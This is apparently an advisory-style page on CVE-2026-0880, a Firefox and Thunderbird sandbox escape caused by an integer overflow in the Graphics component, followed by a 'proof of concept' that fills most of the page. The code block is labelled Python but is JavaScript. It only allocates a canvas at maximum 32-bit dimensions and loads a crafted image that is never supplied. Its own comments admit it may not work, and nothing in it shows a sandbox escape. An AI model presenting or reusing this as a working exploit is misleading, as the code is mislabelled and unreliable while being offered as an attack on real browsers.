Sandbox escape due to integer overflow in the Graphics component. This vulnerability was fixed in Firefox 147, Firefox ESR 115.32, Firefox ESR 140.7, Thunderbird 147, and Thunderbird 140.7.
The following code is for security research and authorized testing only.
python
// CVE-2026-0880 PoC - Integer overflow in Graphics component
// This is a conceptual PoC for educational purposes only
function triggerIntegerOverflow() {
// Attempt to trigger integer overflow in Graphics component
// by creating a specially crafted canvas/image with extreme dimensions
try {
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
// Attempt to create extremely large image data
// that might trigger integer overflow in size calculations
const width = 0x7FFFFFFF; // Max 32-bit signed integer
const height = 0x7FFFFFFF;
canvas.width = width;
canvas.height = height;
// Create image data with overflow-triggering dimensions
const imageData = ctx.createImageData(width, height);
// Additional manipulation to trigger graphics processing
const img = new Image();
img.src = 'malicious_image.png'; // Specially crafted image
img.onload = function() {
ctx.drawImage(img, 0, 0, width, height);
};
} catch (e) {
console.log('Exception caught: ' + e.message);
}
}
// Trigger the vulnerability
triggerIntegerOverflow();
// Note: Actual exploitation requires specific conditions and browser version
// This PoC demonstrates the concept but may not work on all versions